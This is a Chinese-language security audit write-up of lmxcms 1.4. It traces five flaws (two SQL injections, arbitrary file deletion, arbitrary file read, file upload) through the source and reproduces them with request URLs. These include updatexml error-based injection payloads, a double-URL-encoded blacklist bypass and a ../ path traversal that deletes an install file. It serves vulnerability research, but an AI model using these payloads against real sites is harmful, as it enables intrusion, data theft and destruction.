一、后台SQL注入漏洞
接收用户提交的参数时没有进行过滤,直接带入数据库执行,产生漏洞。
0x1 漏洞审计
漏洞存在点位于BookAction.class.php文件,reply函数中,使用get方式接收id传递过来的值给到getReply函数
getReply函数再给到selectModel函数,然后赋值给field
然后再给到selectDB函数去执行,
这里我们可以看到他将我们输入的直接拼接到select语句里面了,相当于底层没有进行一个过滤,那么你的所有防御只能靠上层去加,如果有疏漏就会产生漏洞。
0x 1.1漏洞复现
这里我们进行一个调试,在sql语句下面加一个echo。将执行的sql语句进行输出。
然后我们传一个参数看看
http://127.0.0.1/lmxcms1.4/admin.php?m=book&a=reply&id=1
注意这里要把a的参数值改为reply,即我们最开始的那个函数名
可以看到有回显,我们写一个简单的报错注入
http://127.0.0.1/lmxcms1.4/admin.php?m=Book&a=reply&id=1)and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)%20--+and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)%20--+)
可以看到版本显示出来了
二、前台SQL注入漏洞
前台的代码是在c\index下的,我们打开c\index\TagsAction.class.php
0x2 漏洞审计
TagsAction.class.php中存在两个变量一个data一个name,追溯data变量中的p函数,
在p函数中,判断data的type然后根据type来决定,他是已什么方式去接收用户传递过来的nama值。在接收执行的过程中使用到了addslashes函数对字符进行了转义,
同时引用了filter_sql,mysql_retain函数过滤了大小写关键字。
可以看到一个黑名单,不允许使用这些方法,这导致大部分查询都用不了了,那么我们就要从外部绕过p函数,如果从里面绕过这些比较麻烦。
再看p函数下面的delHtml,这个是过滤掉html标签的函数,那么我们就可以传入一个sel<>ect,这样就可以绕过p函数,且在delHtml函数中将<>去掉变成select。这里我们试一下可不可以,首先跟进getNameData函数,一直跟到底
在这里加个echo $sql;
http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=a
尝试是否能闭合单引号
可以看到被转义了,这是因为p函数的原因,我们再尝试select
看到提示数据非法,那我们试一下sel<>ect,看到成功绕过
但是在接收nama参数要执行之前使用了urldecode函数,将nama传递过来的值进行url解码。
漏洞产生的关键原因就在这个url解码函数,即使他对参数进行了过滤我们将payload进行二次编码在浏览器访问的时候会进行一次解码然后还有一层url编码,过滤函数是无法判断的,所以产生了漏洞存在。
0x 2.1 漏洞复现
对payload进行二次url编码
a' and updatexml(1,concat(0x7e,(select version()),0x7e),1) #
/index.php?m=tags&name=%25%36%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%30%25%32%33
三、任意文件删除漏洞
0x 3 漏洞审计
漏洞存在文件
c\admin\BackdbAction.class.php
虽然这里的unlink函数自定义的,但是依旧是用来php的unlink函数
看哪里用了这个delOne函数
在delmorebackdb函数中,POST接收filenam传递过来的值,并赋值给filename变量,然后跳转到deLOne函数判断传递过来的路径是否是设置好的路径,然后使用unLink函数进行删除。
0x 3.1 漏洞复现
删除file/back路径下的1.txt文件
http://127.0.0.1/lmxcms1.4/admin.php?m=Backdb&a=delbackdb&filename=1.txt
删除安装文件
http://127.0.0.1/lmxcms1.4/admin.php?m=Backdb&a=delbackdb&filename=../../install/install_ok.txt
四、任意文件读取漏洞
0x 4 漏洞审计
漏洞产生函数
file_get_contents
漏洞存在文件
c\admin\TemplateAction.class.php
通过搜索关键函数 file_get_contents 定位到file.class.php文件
这里自定义了一个getcon函数,里面有file_get_contents函数,并且没有进行过滤,全局搜索一下哪里使用了getcon函数,发现在TemplateAction.class.php里面有使用
转到editfile函数下,在editfile中get方式接收dir传递过来的值并赋值给dir变量在,注释获取文件内容中,引用了getcon函数
总结起来就是get方式接收到的dir值就相当于path,而path引用了一个file_get_contents,最终造成了任意文件读取漏洞。
0x4.1 漏洞复现
http://127.0.0.1/lmxcms1.4/admin.php?m=Template&a=editfile&dir=1.txt
读取数据库配置文件
五、任意文件上传漏洞
0x5 漏洞审计
漏洞产生与editfile函数中,post接收settemcontent值如果不为空的话继续向下执行,然后到put
filename为文件名,temcontent为文件内容。
0x 5.1 漏洞复现
http://127.0.0.1/lmxcms1.4/admin.php?m=Template&a=opendir&dir=